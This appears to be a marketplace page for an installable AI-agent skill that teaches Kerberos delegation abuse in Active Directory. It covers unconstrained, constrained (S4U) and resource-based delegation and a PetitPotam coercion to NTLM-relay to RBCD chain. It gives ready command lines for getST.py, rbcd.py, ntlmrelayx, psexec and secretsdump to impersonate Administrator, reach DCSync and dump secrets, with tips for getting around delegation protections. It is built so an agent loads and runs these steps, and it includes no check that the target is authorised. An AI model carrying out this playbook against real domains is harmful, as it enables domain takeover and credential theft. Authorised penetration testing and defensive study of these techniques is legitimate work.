# Ad Delegation Abuse

> Abuse Kerberos delegation to impersonate users and take over hosts — unconstrained, constrained (S4U2Self/S4U2Proxy), and resource-based (RBCD), including the coercion → NTLM-relay-to-LDAP → RBCD chain. Load in an AD environment when BloodHound/enum shows delegation rights, a machine account you control, GenericWrite/GenericAll over a computer, or coercion is possible. Signals: msDS-AllowedToActOnBehalfOfOtherIdentity, TRUSTED_FOR_DELEGATION, msDS-AllowedToDelegateTo, PetitPotam.

- Skill: `noorqureshi/ad-delegation-abuse` (Agent Skill)
- Install (CLI): `npx skillmds@latest add noorqureshi/ad-delegation-abuse`
- Raw SKILL.md: https://api.skillmd.com/api/skills/noorqureshi/ad-delegation-abuse/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: NoorQureshi (https://skillmd.com/u/noorqureshi)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/noorqureshi/ad-delegation-abuse

---


# Kerberos delegation abuse

## When it applies
An AD engagement where enumeration (BloodHound, `nxc`, LDAP) shows a delegation primitive: a host
trusted for unconstrained delegation, an account with constrained delegation (`msDS-AllowedToDelegateTo`),
or — most commonly — write access over a computer object so you can set RBCD. Coercion + relay turns
"can authenticate a DC" into "control a DC". This is the modern lateral-movement/DA path.

## Why it works
Delegation lets a service act *on behalf of* a user. Kerberos implements it with S4U2Self (get a
ticket to yourself as any user) and S4U2Proxy (forward it to a target service). If you control an
account permitted to delegate — or can write `msDS-AllowedToActOnBehalfOfOtherIdentity` on a target
(RBCD) — you can mint a service ticket as *any* user, including Domain Admin, to that target.

## Method
1. **Enumerate the primitive.** BloodHound edges (`AllowedToDelegate`, `AllowedToAct`,
   `GenericWrite`/`GenericAll` on a computer), or `nxc ldap ... --trusted-for-delegation` /
   LDAP queries for the delegation attributes.
2. **Unconstrained** — on a host trusted for unconstrained delegation, capture TGTs of any user who
   authenticates to it (`Rubeus monitor`), and coerce a DC to authenticate (below) to grab the DC's
   TGT → DCSync.
3. **Constrained (S4U)** — with an account that has `msDS-AllowedToDelegateTo <spn>`:
   `getST.py -spn <spn> -impersonate Administrator '<domain>/<svc>:<pass>'` (or `Rubeus s4u`).
   `altservice`/SPN-substitution lets one allowed SPN pivot to others on the same host.
4. **RBCD (the write-driven path)** — when you control a computer account and can write the target's
   `msDS-AllowedToActOnBehalfOfOtherIdentity`:
   - Set it: `rbcd.py -delegate-to <TARGET$> -delegate-from <YOURMACHINE$> -action write ...`
   - Impersonate: `getST.py -spn cifs/<target> -impersonate Administrator '<domain>/<YOURMACHINE$>:<pass>'`
   - Use the ticket (`KRB5CCNAME=...`) with `psexec.py -k -no-pass`, `secretsdump.py -k`, etc.
5. **Coercion → relay → RBCD (no creds needed to start)** — coerce a target/DC to authenticate to
   you (`PetitPotam.py`, `coercer`), relay that NTLM to LDAP(S) and grant yourself RBCD:
   `ntlmrelayx.py -t ldaps://<dc> --delegate-access`, then S4U as above. (See `network-ntlm-relay`.)

## Gotchas
- **`altservice` only works within the same host's SPNs** — you can swap `cifs`→`host`→`http` on the
  target, not jump machines.
- **`ProtectedUsers` / "Account is sensitive and cannot be delegated"** blocks impersonating that
  principal — pick another admin, or a computer account.
- **Clock skew** breaks every Kerberos step — sync to the DC (`ntpdate`/`faketime`) first.
- **RC4 disabled / AES-only** domains need AES keys in your tooling flags; RC4 tickets get rejected.
- **RBCD needs write on the *target* computer**, and creating a fake computer needs
  `ms-DS-MachineAccountQuota > 0` (or use a machine account you already own).

## Verify success
A service ticket as a privileged user to the target service, used to run a command / dump secrets
(`secretsdump.py -k`) you could not before — e.g. local admin on the target or DCSync from a
coerced DC.

## References
Elad Shamir "Wagging the Dog" (RBCD); Impacket `getST.py`/`rbcd.py`/`ntlmrelayx.py`; Rubeus S4U docs;
MITRE ATT&CK T1558.003. Coercion+relay mechanics: `network-ntlm-relay`.